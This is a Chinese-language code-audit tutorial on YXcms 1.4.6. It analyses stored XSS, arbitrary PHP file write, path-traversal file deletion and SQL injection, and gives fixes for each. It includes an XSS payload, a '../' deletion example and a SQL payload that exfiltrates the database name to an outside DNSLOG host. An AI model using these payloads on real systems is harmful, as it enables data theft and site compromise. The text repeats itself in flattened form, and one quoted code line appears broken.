代码审计第二弹--YXcms
字数 1837 2025-08-29 08:31:47

YXcms代码审计与漏洞分析教学文档

一、系统概述

YXcms是一个内容管理系统,本次审计版本为1.4.6。系统目录结构如下:

data/               存放备份数据
protected/          网站程序核心文件夹
public/             存放css、images、js、swf等模板公用文件
upload/             存放上传文件
.htaccess           apache伪静态规则文件
httpd.ini           iis伪静态规则文件
index.php           网站入口
robots.txt          robots协议
升级日志.txt        详细升级日志记录文件

二、漏洞分析

1. 存储型XSS漏洞

漏洞位置:表单提交功能

漏洞分析

  1. 输入过滤流程:

    • 前端输入 <svg/onload=alert(1)>
    • 经过html_in()deletehtml()函数过滤
    • 存入数据库为:&lt;svg/on&lt;x&gt;load=alert(1)&gt;
  2. 输出问题:

    • 后台查看时使用html_out()函数处理
    • html_out()函数使用htmlspecialchars_decode()将实体转换回普通字符
    • 导致XSS代码被还原执行

关键函数

function html_out($str){
    if(function_exists('htmlspecialchars_decode'))
        $str=htmlspecialchars_decode($str);
    else
        $str=html_entity_decode($str);
    $str = stripslashes($str);
    return $str;
}

修复建议

  • 在输出时保持HTML实体编码
  • 或使用更严格的过滤函数

2. 任意PHP文件添加漏洞

漏洞位置protected/apps/admin/controller/setController.php中的tpadd方法

漏洞分析

  1. 漏洞代码:
$filename=trim($_POST['filename']);
$code=stripcslashes($_POST['code']);
$filepath=$templepath.$filename.'.php';
file_put_contents($filepath, $code);
  1. 问题:
    • 文件名和内容直接来自用户输入
    • 无有效过滤和验证
    • 强制添加.php后缀

利用方式

  • 直接写入PHP webshell
  • 可控制写入路径和内容

修复建议

  • 严格限制文件名格式
  • 验证文件内容安全性
  • 限制写入目录

3. 任意文件删除漏洞(一)

漏洞位置protected/apps/admin/controller/filesController.php中的del方法

漏洞分析

  1. 漏洞代码:
$dirs=in($_GET['fname']);
$dirs=str_replace(dirs);
$dirs=ROOT_PATH.'upload'.$dirs;
if(file_exists($dirs)) @unlink($dirs);
  1. 问题:
    • in()函数仅处理HTML和SQL注入,不处理路径遍历
    • 路径拼接可控
    • 无权限检查

利用方式

  • 通过../遍历删除系统文件
  • 如:?fname=../../1.txt删除根目录文件

修复建议

  • 检查路径是否在允许范围内
  • 使用realpath()解析路径
  • 添加权限验证

4. 任意文件删除漏洞(二)

漏洞位置protected/apps/admin/controller/photoController.php中的delpic方法

漏洞分析

  1. 漏洞代码:
$picname=$_POST['picname'];
$path=$this->uploadpath;
if(file_exists($path.$picname)) @unlink($path.$picname);
  1. 问题:
    • 直接使用用户输入作为文件名
    • 无路径检查

修复建议

  • 同漏洞(一)的修复方案

5. SQL注入漏洞

漏洞位置protected/apps/admin/controller/fragmentController.php中的del方法

漏洞分析

  1. 漏洞代码:
$delid=implode(',',$_POST['delid']);
model('fragment')->delete('id in ('.$delid.')')
  1. 问题:
    • 数字型参数未强制转换
    • 直接拼接SQL语句
    • 仅对字符串参数进行过滤

利用方式

  • 通过DNSLOG外带数据
  • 如:select load_file(concat('\\\\',(select database()),'.test.dnslog.link\\abc'))

修复建议

  • 强制参数类型转换
  • 使用预处理语句
  • 限制删除操作权限

三、安全防护机制分析

1. 输入过滤机制

主要函数

  1. deletehtml() - 去除HTML和JS标签
  2. html_in() - 使用htmlspecialcharsRemoveXSS过滤
  3. in() - 基本输入过滤

存在问题

  • 过滤不统一
  • 部分场景过滤被反转
  • 对特殊路径字符过滤不足

2. 输出处理机制

主要函数

  1. html_out() - 反转HTML实体
  2. 直接输出 - 部分场景无过滤

存在问题

  • 输出过滤与输入过滤冲突
  • 缺乏上下文感知的输出编码

四、审计方法论总结

  1. 入口点定位

    • 表单提交点
    • 文件操作功能
    • 数据库操作功能
  2. 数据流追踪

    • 从输入到存储的完整流程
    • 从存储到输出的完整流程
    • 过滤函数的调用关系
  3. 权限验证检查

    • 操作前权限验证
    • 功能间权限隔离
  4. 边界条件测试

    • 极端输入测试
    • 过滤绕过尝试
    • 异常流程测试

五、修复方案建议

  1. 统一安全策略

    • 制定统一的输入输出过滤规范
    • 实现安全函数库
  2. 权限体系强化

    • 最小权限原则
    • 操作前二次验证
  3. 安全机制改进

    • 使用预处理语句防SQL注入
    • 实现文件操作白名单
    • 增加操作日志
  4. 代码审计流程

    • 建立代码审查制度
    • 引入自动化审计工具

六、参考资源

  1. 先知社区原帖
  2. PHP安全编程指南
  3. OWASP安全开发指南
  4. 常见Web漏洞原理与防御

本教学文档详细分析了YXcms 1.4.6版本中的多个安全漏洞,包括漏洞原理、利用方式和修复建议,可作为代码审计和安全开发的参考材料。

YXcms代码审计与漏洞分析教学文档 一、系统概述 YXcms是一个内容管理系统,本次审计版本为1.4.6。系统目录结构如下: 二、漏洞分析 1. 存储型XSS漏洞 漏洞位置 :表单提交功能 漏洞分析 : 输入过滤流程: 前端输入 <svg/onload=alert(1)> 经过 html_in() 和 deletehtml() 函数过滤 存入数据库为: &lt;svg/on&lt;x&gt;load=alert(1)&gt; 输出问题: 后台查看时使用 html_out() 函数处理 html_out() 函数使用 htmlspecialchars_decode() 将实体转换回普通字符 导致XSS代码被还原执行 关键函数 : 修复建议 : 在输出时保持HTML实体编码 或使用更严格的过滤函数 2. 任意PHP文件添加漏洞 漏洞位置 : protected/apps/admin/controller/setController.php 中的 tpadd 方法 漏洞分析 : 漏洞代码: 问题: 文件名和内容直接来自用户输入 无有效过滤和验证 强制添加.php后缀 利用方式 : 直接写入PHP webshell 可控制写入路径和内容 修复建议 : 严格限制文件名格式 验证文件内容安全性 限制写入目录 3. 任意文件删除漏洞(一) 漏洞位置 : protected/apps/admin/controller/filesController.php 中的 del 方法 漏洞分析 : 漏洞代码: 问题: in() 函数仅处理HTML和SQL注入,不处理路径遍历 路径拼接可控 无权限检查 利用方式 : 通过 ../ 遍历删除系统文件 如: ?fname=../../1.txt 删除根目录文件 修复建议 : 检查路径是否在允许范围内 使用 realpath() 解析路径 添加权限验证 4. 任意文件删除漏洞(二) 漏洞位置 : protected/apps/admin/controller/photoController.php 中的 delpic 方法 漏洞分析 : 漏洞代码: 问题: 直接使用用户输入作为文件名 无路径检查 修复建议 : 同漏洞(一)的修复方案 5. SQL注入漏洞 漏洞位置 : protected/apps/admin/controller/fragmentController.php 中的 del 方法 漏洞分析 : 漏洞代码: 问题: 数字型参数未强制转换 直接拼接SQL语句 仅对字符串参数进行过滤 利用方式 : 通过DNSLOG外带数据 如: select load_file(concat('\\\\',(select database()),'.test.dnslog.link\\abc')) 修复建议 : 强制参数类型转换 使用预处理语句 限制删除操作权限 三、安全防护机制分析 1. 输入过滤机制 主要函数 : deletehtml() - 去除HTML和JS标签 html_in() - 使用 htmlspecialchars 和 RemoveXSS 过滤 in() - 基本输入过滤 存在问题 : 过滤不统一 部分场景过滤被反转 对特殊路径字符过滤不足 2. 输出处理机制 主要函数 : html_out() - 反转HTML实体 直接输出 - 部分场景无过滤 存在问题 : 输出过滤与输入过滤冲突 缺乏上下文感知的输出编码 四、审计方法论总结 入口点定位 : 表单提交点 文件操作功能 数据库操作功能 数据流追踪 : 从输入到存储的完整流程 从存储到输出的完整流程 过滤函数的调用关系 权限验证检查 : 操作前权限验证 功能间权限隔离 边界条件测试 : 极端输入测试 过滤绕过尝试 异常流程测试 五、修复方案建议 统一安全策略 : 制定统一的输入输出过滤规范 实现安全函数库 权限体系强化 : 最小权限原则 操作前二次验证 安全机制改进 : 使用预处理语句防SQL注入 实现文件操作白名单 增加操作日志 代码审计流程 : 建立代码审查制度 引入自动化审计工具 六、参考资源 先知社区原帖 PHP安全编程指南 OWASP安全开发指南 常见Web漏洞原理与防御 本教学文档详细分析了YXcms 1.4.6版本中的多个安全漏洞,包括漏洞原理、利用方式和修复建议,可作为代码审计和安全开发的参考材料。